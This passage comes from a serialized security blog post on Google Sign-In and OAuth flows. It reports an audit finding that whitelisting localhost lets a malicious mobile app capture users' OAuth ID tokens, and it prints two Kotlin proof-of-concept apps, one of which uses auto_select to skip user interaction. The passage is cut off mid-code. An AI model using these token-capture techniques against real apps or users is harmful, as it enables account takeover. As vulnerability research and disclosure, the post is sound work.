Flow)",{"type":21,"tag":22,"props":102055,"children":102056},{},[102057],{"type":26,"value":102058},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":21,"tag":87,"props":102060,"children":102061},{},[102062,102067],{"type":21,"tag":91,"props":102063,"children":102064},{},[102065],{"type":26,"value":102066},"Using FedCM API",{"type":21,"tag":91,"props":102068,"children":102069},{},[102070],{"type":26,"value":102071},"Without using FedCM API",{"type":21,"tag":22,"props":102073,"children":102074},{},[102075],{"type":26,"value":102076},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":21,"tag":22,"props":102078,"children":102079},{},[102080],{"type":21,"tag":8055,"props":102081,"children":102082},{},[102083],{"type":26,"value":102084},"FedCM Method",{"type":21,"tag":22,"props":102086,"children":102087},{},[102088,102090,102097],{"type":26,"value":102089},"The FedCM method basically follows this ",{"type":21,"tag":29,"props":102091,"children":102094},{"href":102092,"rel":102093},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[33],[102095],{"type":26,"value":102096},"user experience",{"type":26,"value":102098},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":21,"tag":22,"props":102100,"children":102101},{},[102102,102104],{"type":26,"value":102103},"The normal flow, clicking the \"sign in\" button:\n",{"type":21,"tag":3644,"props":102105,"children":102107},{"alt":52869,"src":102106},"/posts/oauth-misconfigurations/image1.png",[],{"type":21,"tag":22,"props":102109,"children":102110},{},[102111,102113],{"type":26,"value":102112},"One-Tap popup shown when you open the page:\n",{"type":21,"tag":3644,"props":102114,"children":102116},{"alt":52869,"src":102115},"/posts/oauth-misconfigurations/image2.png",[],{"type":21,"tag":22,"props":102118,"children":102119},{},[102120,102122,102129],{"type":26,"value":102121},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":21,"tag":29,"props":102123,"children":102126},{"href":102124,"rel":102125},"https://github.com/w3c-fedid/FedCM/issues/429",[33],[102127],{"type":26,"value":102128},"FedCM auto-reauthentication",{"type":26,"value":102130},", which has certain preconditions that must be met.",{"type":21,"tag":22,"props":102132,"children":102133},{},[102134],{"type":21,"tag":8055,"props":102135,"children":102136},{},[102137],{"type":26,"value":102138},"Non-FedCM Method",{"type":21,"tag":22,"props":102140,"children":102141},{},[102142,102144,102149],{"type":26,"value":102143},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":21,"tag":78,"props":102145,"children":102147},{"className":102146},[],[102148],{"type":26,"value":102038},{"type":26,"value":201},{"type":21,"tag":126,"props":102151,"children":102152},{},[102153,102158,102182,102187,102198],{"type":21,"tag":91,"props":102154,"children":102155},{},[102156],{"type":26,"value":102157},"The user clicks the sign in button",{"type":21,"tag":91,"props":102159,"children":102160},{},[102161,102163,102169,102171,102176,102177],{"type":26,"value":102162},"RP opens a popup/iframe to ",{"type":21,"tag":29,"props":102164,"children":102167},{"href":102165,"rel":102166},"https://accounts.google.com/o/oauth2/v2/auth",[33],[102168],{"type":26,"value":102165},{"type":26,"value":102170}," with some important parameters like ",{"type":21,"tag":78,"props":102172,"children":102174},{"className":102173},[],[102175],{"type":26,"value":71892},{"type":26,"value":52},{"type":21,"tag":78,"props":102178,"children":102180},{"className":102179},[],[102181],{"type":26,"value":42827},{"type":21,"tag":91,"props":102183,"children":102184},{},[102185],{"type":26,"value":102186},"The user clicks the \"Continue\" button to authorize authentication",{"type":21,"tag":91,"props":102188,"children":102189},{},[102190,102192],{"type":26,"value":102191},"They get redirected to ",{"type":21,"tag":29,"props":102193,"children":102196},{"href":102194,"rel":102195},"https://accounts.google.com/gsi/transform",[33],[102197],{"type":26,"value":102194},{"type":21,"tag":91,"props":102199,"children":102200},{},[102201,102203,102208],{"type":26,"value":102202},"/gsi/transform sends the token back to the RP via ",{"type":21,"tag":78,"props":102204,"children":102206},{"className":102205},[],[102207],{"type":26,"value":102038},{"type":26,"value":102209}," (after some SYN/ACK messages)",{"type":21,"tag":21591,"props":102211,"children":102213},{"id":102212},"oauth-20-old-flow",[102214],{"type":26,"value":102215},"OAuth 2.0 Old Flow",{"type":21,"tag":22,"props":102217,"children":102218},{},[102219,102221,102226],{"type":26,"value":102220},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":21,"tag":78,"props":102222,"children":102224},{"className":102223},[],[102225],{"type":26,"value":72060},{"type":26,"value":102227}," provided in the URL and validated by a whitelist configuration:",{"type":21,"tag":126,"props":102229,"children":102230},{},[102231,102235,102256,102260],{"type":21,"tag":91,"props":102232,"children":102233},{},[102234],{"type":26,"value":102157},{"type":21,"tag":91,"props":102236,"children":102237},{},[102238,102239,102244,102245,102250,102251],{"type":26,"value":102162},{"type":21,"tag":29,"props":102240,"children":102242},{"href":102165,"rel":102241},[33],[102243],{"type":26,"value":102165},{"type":26,"value":102170},{"type":21,"tag":78,"props":102246,"children":102248},{"className":102247},[],[102249],{"type":26,"value":71892},{"type":26,"value":52},{"type":21,"tag":78,"props":102252,"children":102254},{"className":102253},[],[102255],{"type":26,"value":72060},{"type":21,"tag":91,"props":102257,"children":102258},{},[102259],{"type":26,"value":102186},{"type":21,"tag":91,"props":102261,"children":102262},{},[102263,102264,102269,102271],{"type":26,"value":102191},{"type":21,"tag":78,"props":102265,"children":102267},{"className":102266},[],[102268],{"type":26,"value":72060},{"type":26,"value":102270}," with the token in the query parameters or ",{"type":21,"tag":78,"props":102272,"children":102274},{"className":102273},[],[102275],{"type":26,"value":102276},"location.hash",{"type":21,"tag":21591,"props":102278,"children":102280},{"id":102279},"different-configurations",[102281],{"type":26,"value":102282},"Different Configurations",{"type":21,"tag":22,"props":102284,"children":102285},{},[102286],{"type":26,"value":102287},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":21,"tag":87,"props":102289,"children":102290},{},[102291,102296],{"type":21,"tag":91,"props":102292,"children":102293},{},[102294],{"type":26,"value":102295},"Authorized origins",{"type":21,"tag":91,"props":102297,"children":102298},{},[102299],{"type":26,"value":102300},"Authorized redirect URIs",{"type":21,"tag":22,"props":102302,"children":102303},{},[102304],{"type":21,"tag":3644,"props":102305,"children":102307},{"alt":52869,"src":102306},"/posts/oauth-misconfigurations/image3.png",[],{"type":21,"tag":22,"props":102309,"children":102310},{},[102311,102313,102318],{"type":26,"value":102312},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":21,"tag":78,"props":102314,"children":102316},{"className":102315},[],[102317],{"type":26,"value":71892},{"type":26,"value":355},{"type":21,"tag":22,"props":102320,"children":102321},{},[102322,102324,102330,102332,102337],{"type":26,"value":102323},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":21,"tag":78,"props":102325,"children":102327},{"className":102326},[],[102328],{"type":26,"value":102329},"/oauth2/v2/auth",{"type":26,"value":102331}," by checking the ",{"type":21,"tag":78,"props":102333,"children":102335},{"className":102334},[],[102336],{"type":26,"value":42827},{"type":26,"value":102338}," query parameter.",{"type":21,"tag":22,"props":102340,"children":102341},{},[102342,102344,102349,102351,102356],{"type":26,"value":102343},"In the old flow, the ",{"type":21,"tag":78,"props":102345,"children":102347},{"className":102346},[],[102348],{"type":26,"value":72060},{"type":26,"value":102350}," parameter passed in the ",{"type":21,"tag":78,"props":102352,"children":102354},{"className":102353},[],[102355],{"type":26,"value":102329},{"type":26,"value":102357}," endpoint is validated against the authorized redirect URIs.",{"type":21,"tag":22,"props":102359,"children":102360},{},[102361,102363,102368,102370,102377],{"type":26,"value":102362},"Note that the new GSI flow can also have a different flow using ",{"type":21,"tag":78,"props":102364,"children":102366},{"className":102365},[],[102367],{"type":26,"value":72060},{"type":26,"value":102369}," validation. To execute this flow, you need to specify ",{"type":21,"tag":29,"props":102371,"children":102374},{"href":102372,"rel":102373},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[33],[102375],{"type":26,"value":102376},"login_uri",{"type":26,"value":102378}," while using the SDK.",{"type":21,"tag":114,"props":102380,"children":102382},{"id":102381},"localhost-exploit",[102383],{"type":26,"value":102384},"Localhost Exploit",{"type":21,"tag":22,"props":102386,"children":102387},{},[102388,102390,102396],{"type":26,"value":102389},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":21,"tag":78,"props":102391,"children":102393},{"className":102392},[],[102394],{"type":26,"value":102395},"localhost",{"type":26,"value":102397}," origin because it is considered trusted for local testing.",{"type":21,"tag":22,"props":102399,"children":102400},{},[102401],{"type":26,"value":102402},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":21,"tag":21591,"props":102404,"children":102406},{"id":102405},"exploit",[102407],{"type":26,"value":102408},"Exploit",{"type":21,"tag":22,"props":102410,"children":102411},{},[102412,102414,102419,102420,102426],{"type":26,"value":102413},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":21,"tag":78,"props":102415,"children":102417},{"className":102416},[],[102418],{"type":26,"value":102276},{"type":26,"value":15851},{"type":21,"tag":78,"props":102421,"children":102423},{"className":102422},[],[102424],{"type":26,"value":102425},"location.search",{"type":26,"value":102427},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":21,"tag":143,"props":102429,"children":102433},{"className":102430,"code":102431,"language":102432,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[102434],{"type":21,"tag":78,"props":102435,"children":102436},{"__ignoreMap":7},[102437,102466,102485,102492,102499,102518,102529,102540,102571,102594,102641,102648,102655,102662,102669,102689,102720,102731,102738,102745,102764,102787,102798,102817,102832,102843,102866,102901,102920,102927,102938,102961,102972,102984,102991,102998,103005,103012,103019,103046],{"type":21,"tag":153,"props":102438,"children":102439},{"class":155,"line":156},[102440,102445,102449,102453,102457,102461],{"type":21,"tag":153,"props":102441,"children":102442},{"style":170},[102443],{"type":26,"value":102444}," override",{"type":21,"tag":153,"props":102446,"children":102447},{"style":170},[102448],{"type":26,"value":8936},{"type":21,"tag":153,"props":102450,"children":102451},{"style":181},[102452],{"type":26,"value":72748},{"type":21,"tag":153,"props":102454,"children":102455},{"style":160},[102456],{"type":26,"value":72753},{"type":21,"tag":153,"props":102458,"children":102459},{"style":214},[102460],{"type":26,"value":72758},{"type":21,"tag":153,"props":102462,"children":102463},{"style":160},[102464],{"type":26,"value":102465},"?){\n",{"type":21,"tag":153,"props":102467,"children":102468},{"class":155,"line":166},[102469,102473,102477,102481],{"type":21,"tag":153,"props":102470,"children":102471},{"style":170},[102472],{"type":26,"value":72771},{"type":21,"tag":153,"props":102474,"children":102475},{"style":160},[102476],{"type":26,"value":355},{"type":21,"tag":153,"props":102478,"children":102479},{"style":181},[102480],{"type":26,"value":72780},{"type":21,"tag":153,"props":102482,"children":102483},{"style":160},[102484],{"type":26,"value":72785},{"type":21,"tag":153,"props":102486,"children":102487},{"class":155,"line":225},[102488],{"type":21,"tag":153,"props":102489,"children":102490},{"emptyLinePlaceholder":16},[102491],{"type":26,"value":759},{"type":21,"tag":153,"props":102493,"children":102494},{"class":155,"line":239},[102495],{"type":21,"tag":153,"props":102496,"children":102497},{"style":3050},[102498],{"type":26,"value":72800},{"type":21,"tag":153,"props":102500,"children":102501},{"class":155,"line":382},[102502,102506,102510,102514],{"type":21,"tag":153,"props":102503,"children":102504},{"style":181},[102505],{"type":26,"value":72808},{"type":21,"tag":153,"props":102507,"children":102508},{"style":160},[102509],{"type":26,"value":72813},{"type":21,"tag":153,"props":102511,"children":102512},{"style":181},[102513],{"type":26,"value":72818},{"type":21,"tag":153,"props":102515,"children":102516},{"style":160},[102517],{"type":26,"value":236},{"type":21,"tag":153,"props":102519,"children":102520},{"class":155,"line":501},[102521,102525],{"type":21,"tag":153,"props":102522,"children":102523},{"style":1751},[102524],{"type":26,"value":72830},{"type":21,"tag":153,"props":102526,"children":102527},{"style":160},[102528],{"type":26,"value":236},{"type":21,"tag":153,"props":102530,"children":102531},{"class":155,"line":533},[102532,102536],{"type":21,"tag":153,"props":102533,"children":102534},{"style":181},[102535],{"type":26,"value":72842},{"type":21,"tag":153,"props":102537,"children":102538},{"style":160},[102539],{"type":26,"value":10462},{"type":21,"tag":153,"props":102541,"children":102542},{"class":155,"line":542},[102543,102547,102551,102555,102559,102563,102567],{"type":21,"tag":153,"props":102544,"children":102545},{"style":160},[102546],{"type":26,"value":72854},{"type":21,"tag":153,"props":102548,"children":102549},{"style":181},[102550],{"type":26,"value":72859},{"type":21,"tag":153,"props":102552,"children":102553},{"style":160},[102554],{"type":26,"value":189},{"type":21,"tag":153,"props":102556,"children":102557},{"style":671},[102558],{"type":26,"value":72868},{"type":21,"tag":153,"props":102560,"children":102561},{"style":160},[102562],{"type":26,"value":1670},{"type":21,"tag":153,"props":102564,"children":102565},{"style":671},[102566],{"type":26,"value":72877},{"type":21,"tag":153,"props":102568,"children":102569},{"style":160},[102570],{"type":26,"value":5909},{"type":21,"tag":153,"props":102572,"children":102573},{"class":155,"line":762},[102574,102578,102582,102586,102590],{"type":21,"tag":153,"props":102575,"children":102576},{"style":160},[102577],{"type":26,"value":72889},{"type":21,"tag":153,"props":102579,"children":102580},{"style":170},[102581],{"type":26,"value":50701},{"type":21,"tag":153,"props":102583,"children":102584},{"style":160},[102585],{"type":26,"value":72898},{"type":21,"tag":153,"props":102587,"children":102588},{"style":214},[102589],{"type":26,"value":72903},{"type":21,"tag":153,"props":102591,"children":102592},{"style":160},[102593],{"type":26,"value":2659},{"type":21,"tag":153,"props":102595,"children":102596},{"class":155,"line":776},[102597,102601,102605,102609,102613,102617,102621,102625,102629,102633,102637],{"type":21,"tag":153,"props":102598,"children":102599},{"style":160},[102600],{"type":26,"value":72854},{"type":21,"tag":153,"props":102602,"children":102603},{"style":181},[102604],{"type":26,"value":53745},{"type":21,"tag":153,"props":102606,"children":102607},{"style":160},[102608],{"type":26,"value":189},{"type":21,"tag":153,"props":102610,"children":102611},{"style":671},[102612],{"type":26,"value":72868},{"type":21,"tag":153,"props":102614,"children":102615},{"style":160},[102616],{"type":26,"value":1670},{"type":21,"tag":153,"props":102618,"children":102619},{"style":671},[102620],{"type":26,"value":72935},{"type":21,"tag":153,"props":102622,"children":102623},{"style":170},[102624],{"type":26,"value":36802},{"type":21,"tag":153,"props":102626,"children":102627},{"style":198},[102628],{"type":26,"value":72944},{"type":21,"tag":153,"props":102630,"children":102631},{"style":170},[102632],{"type":26,"value":36834},{"type":21,"tag":153,"props":102634,"children":102635},{"style":671},[102636],{"type":26,"value":22756},{"type":21,"tag":153,"props":102638,"children":102639},{"style":160},[102640],{"type":26,"value":72957},{"type":21,"tag":153,"props":102642,"children":102643},{"class":155,"line":795},[102644],{"type":21,"tag":153,"props":102645,"children":102646},{"style":160},[102647],{"type":26,"value":61177},{"type":21,"tag":153,"props":102649,"children":102650},{"class":155,"line":808},[102651],{"type":21,"tag":153,"props":102652,"children":102653},{"style":160},[102654],{"type":26,"value":2765},{"type":21,"tag":153,"props":102656,"children":102657},{"class":155,"line":820},[102658],{"type":21,"tag":153,"props":102659,"children":102660},{"emptyLinePlaceholder":16},[102661],{"type":26,"value":759},{"type":21,"tag":153,"props":102663,"children":102664},{"class":155,"line":842},[102665],{"type":21,"tag":153,"props":102666,"children":102667},{"style":3050},[102668],{"type":26,"value":72986},{"type":21,"tag":153,"props":102670,"children":102671},{"class":155,"line":3204},[102672,102676,102680,102684],{"type":21,"tag":153,"props":102673,"children":102674},{"style":170},[102675],{"type":26,"value":72994},{"type":21,"tag":153,"props":102677,"children":102678},{"style":160},[102679],{"type":26,"value":72999},{"type":21,"tag":153,"props":102681,"children":102682},{"style":198},[102683],{"type":26,"value":2367},{"type":21,"tag":153,"props":102685,"children":102686},{"style":671},[102687],{"type":26,"value":102688}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":21,"tag":153,"props":102690,"children":102691},{"class":155,"line":3230},[102692,102696,102700,102704,102708,102712,102716],{"type":21,"tag":153,"props":102693,"children":102694},{"style":170},[102695],{"type":26,"value":72994},{"type":21,"tag":153,"props":102697,"children":102698},{"style":160},[102699],{"type":26,"value":73020},{"type":21,"tag":153,"props":102701,"children":102702},{"style":198},[102703],{"type":26,"value":2367},{"type":21,"tag":153,"props":102705,"children":102706},{"style":181},[102707],{"type":26,"value":73029},{"type":21,"tag":153,"props":102709,"children":102710},{"style":160},[102711],{"type":26,"value":73034},{"type":21,"tag":153,"props":102713,"children":102714},{"style":181},[102715],{"type":26,"value":41903},{"type":21,"tag":153,"props":102717,"children":102718},{"style":160},[102719],{"type":26,"value":73043},{"type":21,"tag":153,"props":102721,"children":102722},{"class":155,"line":3239},[102723,102727],{"type":21,"tag":153,"props":102724,"children":102725},{"style":181},[102726],{"type":26,"value":73051},{"type":21,"tag":153,"props":102728,"children":102729},{"style":160},[102730],{"type":26,"value":73056},{"type":21,"tag":153,"props":102732,"children":102733},{"class":155,"line":3253},[102734],{"type":21,"tag":153,"props":102735,"children":102736},{"style":160},[102737],{"type":26,"value":539},{"type":21,"tag":153,"props":102739,"children":102740},{"class":155,"line":3301},[102741],{"type":21,"tag":153,"props":102742,"children":102743},{"emptyLinePlaceholder":16},[102744],{"type":26,"value":759},{"type":21,"tag":153,"props":102746,"children":102747},{"class":155,"line":3346},[102748,102752,102756,102760],{"type":21,"tag":153,"props":102749,"children":102750},{"style":170},[102751],{"type":26,"value":73078},{"type":21,"tag":153,"props":102753,"children":102754},{"style":170},[102755],{"type":26,"value":8936},{"type":21,"tag":153,"props":102757,"children":102758},{"style":181},[102759],{"type":26,"value":73087},{"type":21,"tag":153,"props":102761,"children":102762},{"style":160},[102763],{"type":26,"value":18433},{"type":21,"tag":153,"props":102765,"children":102766},{"class":155,"line":3355},[102767,102771,102775,102779,102783],{"type":21,"tag":153,"props":102768,"children":102769},{"style":181},[102770],{"type":26,"value":73099},{"type":21,"tag":153,"props":102772,"children":102773},{"style":160},[102774],{"type":26,"value":73104},{"type":21,"tag":153,"props":102776,"children":102777},{"style":198},[102778],{"type":26,"value":2367},{"type":21,"tag":153,"props":102780,"children":102781},{"style":300},[102782],{"type":26,"value":73113},{"type":21,"tag":153,"props":102784,"children":102785},{"style":160},[102786],{"type":26,"value":2659},{"type":21,"tag":153,"props":102788,"children":102789},{"class":155,"line":3364},[102790,102794],{"type":21,"tag":153,"props":102791,"children":102792},{"style":181},[102793],{"type":26,"value":73125},{"type":21,"tag":153,"props":102795,"children":102796},{"style":160},[102797],{"type":26,"value":236},{"type":21,"tag":153,"props":102799,"children":102800},{"class":155,"line":3376},[102801,102805,102809,102813],{"type":21,"tag":153,"props":102802,"children":102803},{"style":170},[102804],{"type":26,"value":73137},{"type":21,"tag":153,"props":102806,"children":102807},{"style":160},[102808],{"type":26,"value":189},{"type":21,"tag":153,"props":102810,"children":102811},{"style":671},[102812],{"type":26,"value":73146},{"type":21,"tag":153,"props":102814,"children":102815},{"style":160},[102816],{"type":26,"value":2659},{"type":21,"tag":153,"props":102818,"children":102819},{"class":155,"line":3393},[102820,102824,102828],{"type":21,"tag":153,"props":102821,"children":102822},{"style":160},[102823],{"type":26,"value":73158},{"type":21,"tag":153,"props":102825,"children":102826},{"style":181},[102827],{"type":26,"value":73163},{"type":21,"tag":153,"props":102829,"children":102830},{"style":160},[102831],{"type":26,"value":236},{"type":21,"tag":153,"props":102833,"children":102834},{"class":155,"line":3405},[102835,102839],{"type":21,"tag":153,"props":102836,"children":102837},{"style":181},[102838],{"type":26,"value":73175},{"type":21,"tag":153,"props":102840,"children":102841},{"style":160},[102842],{"type":26,"value":236},{"type":21,"tag":153,"props":102844,"children":102845},{"class":155,"line":3427},[102846,102850,102854,102858,102862],{"type":21,"tag":153,"props":102847,"children":102848},{"style":181},[102849],{"type":26,"value":73187},{"type":21,"tag":153,"props":102851,"children":102852},{"style":160},[102853],{"type":26,"value":73192},{"type":21,"tag":153,"props":102855,"children":102856},{"style":198},[102857],{"type":26,"value":2367},{"type":21,"tag":153,"props":102859,"children":102860},{"style":671},[102861],{"type":26,"value":73201},{"type":21,"tag":153,"props":102863,"children":102864},{"style":160},[102865],{"type":26,"value":5909},{"type":21,"tag":153,"props":102867,"children":102868},{"class":155,"line":3448},[102869,102873,102877,102881,102885,102889,102893,102897],{"type":21,"tag":153,"props":102870,"children":102871},{"style":181},[102872],{"type":26,"value":73187},{"type":21,"tag":153,"props":102874,"children":102875},{"style":160},[102876],{"type":26,"value":73217},{"type":21,"tag":153,"props":102878,"children":102879},{"style":198},[102880],{"type":26,"value":2367},{"type":21,"tag":153,"props":102882,"children":102883},{"style":671},[102884],{"type":26,"value":73226},{"type":21,"tag":153,"props":102886,"children":102887},{"style":160},[102888],{"type":26,"value":73231},{"type":21,"tag":153,"props":102890,"children":102891},{"style":198},[102892],{"type":26,"value":2367},{"type":21,"tag":153,"props":102894,"children":102895},{"style":671},[102896],{"type":26,"value":73240},{"type":21,"tag":153,"props":102898,"children":102899},{"style":160},[102900],{"type":26,"value":5909},{"type":21,"tag":153,"props":102902,"children":102903},{"class":155,"line":3456},[102904,102908,102912,102916],{"type":21,"tag":153,"props":102905,"children":102906},{"style":181},[102907],{"type":26,"value":73252},{"type":21,"tag":153,"props":102909,"children":102910},{"style":160},[102911],{"type":26,"value":189},{"type":21,"tag":153,"props":102913,"children":102914},{"style":671},[102915],{"type":26,"value":73261},{"type":21,"tag":153,"props":102917,"children":102918},{"style":160},[102919],{"type":26,"value":5909},{"type":21,"tag":153,"props":102921,"children":102922},{"class":155,"line":3493},[102923],{"type":21,"tag":153,"props":102924,"children":102925},{"style":160},[102926],{"type":26,"value":73273},{"type":21,"tag":153,"props":102928,"children":102929},{"class":155,"line":3509},[102930,102934],{"type":21,"tag":153,"props":102931,"children":102932},{"style":181},[102933],{"type":26,"value":73281},{"type":21,"tag":153,"props":102935,"children":102936},{"style":160},[102937],{"type":26,"value":236},{"type":21,"tag":153,"props":102939,"children":102940},{"class":155,"line":3517},[102941,102945,102949,102953,102957],{"type":21,"tag":153,"props":102942,"children":102943},{"style":181},[102944],{"type":26,"value":73293},{"type":21,"tag":153,"props":102946,"children":102947},{"style":160},[102948],{"type":26,"value":12308},{"type":21,"tag":153,"props":102950,"children":102951},{"style":198},[102952],{"type":26,"value":4099},{"type":21,"tag":153,"props":102954,"children":102955},{"style":671},[102956],{"type":26,"value":73306},{"type":21,"tag":153,"props":102958,"children":102959},{"style":160},[102960],{"type":26,"value":12318},{"type":21,"tag":153,"props":102962,"children":102963},{"class":155,"line":3526},[102964,102968],{"type":21,"tag":153,"props":102965,"children":102966},{"style":181},[102967],{"type":26,"value":73318},{"type":21,"tag":153,"props":102969,"children":102970},{"style":160},[102971],{"type":26,"value":236},{"type":21,"tag":153,"props":102973,"children":102974},{"class":155,"line":3607},[102975,102979],{"type":21,"tag":153,"props":102976,"children":102977},{"style":198},[102978],{"type":26,"value":73330},{"type":21,"tag":153,"props":102980,"children":102981},{"style":671},[102982],{"type":26,"value":102983},"\"document.body.innerText = location.hash;\"\n",{"type":21,"tag":153,"props":102985,"children":102986},{"class":155,"line":3615},[102987],{"type":21,"tag":153,"props":102988,"children":102989},{"style":160},[102990],{"type":26,"value":73343},{"type":21,"tag":153,"props":102992,"children":102993},{"class":155,"line":3629},[102994],{"type":21,"tag":153,"props":102995,"children":102996},{"style":160},[102997],{"type":26,"value":73273},{"type":21,"tag":153,"props":102999,"children":103000},{"class":155,"line":26297},[103001],{"type":21,"tag":153,"props":103002,"children":103003},{"style":160},[103004],{"type":26,"value":73358},{"type":21,"tag":153,"props":103006,"children":103007},{"class":155,"line":26330},[103008],{"type":21,"tag":153,"props":103009,"children":103010},{"style":160},[103011],{"type":26,"value":73366},{"type":21,"tag":153,"props":103013,"children":103014},{"class":155,"line":26338},[103015],{"type":21,"tag":153,"props":103016,"children":103017},{"style":160},[103018],{"type":26,"value":61177},{"type":21,"tag":153,"props":103020,"children":103021},{"class":155,"line":26346},[103022,103026,103030,103034,103038,103042],{"type":21,"tag":153,"props":103023,"children":103024},{"style":160},[103025],{"type":26,"value":73381},{"type":21,"tag":153,"props":103027,"children":103028},{"style":181},[103029],{"type":26,"value":73386},{"type":21,"tag":153,"props":103031,"children":103032},{"style":160},[103033],{"type":26,"value":73391},{"type":21,"tag":153,"props":103035,"children":103036},{"style":198},[103037],{"type":26,"value":2367},{"type":21,"tag":153,"props":103039,"children":103040},{"style":170},[103041],{"type":26,"value":15187},{"type":21,"tag":153,"props":103043,"children":103044},{"style":160},[103045],{"type":26,"value":5909},{"type":21,"tag":153,"props":103047,"children":103048},{"class":155,"line":26355},[103049],{"type":21,"tag":153,"props":103050,"children":103051},{"style":160},[103052],{"type":26,"value":539},{"type":21,"tag":22,"props":103054,"children":103055},{},[103056],{"type":26,"value":103057},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":21,"tag":22,"props":103059,"children":103060},{},[103061,103063,103069],{"type":26,"value":103062},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":21,"tag":78,"props":103064,"children":103066},{"className":103065},[],[103067],{"type":26,"value":103068},"auto_select",{"type":26,"value":103070}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":21,"tag":143,"props":103072,"children":103074},{"className":102430,"code":103073,"language":102432,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        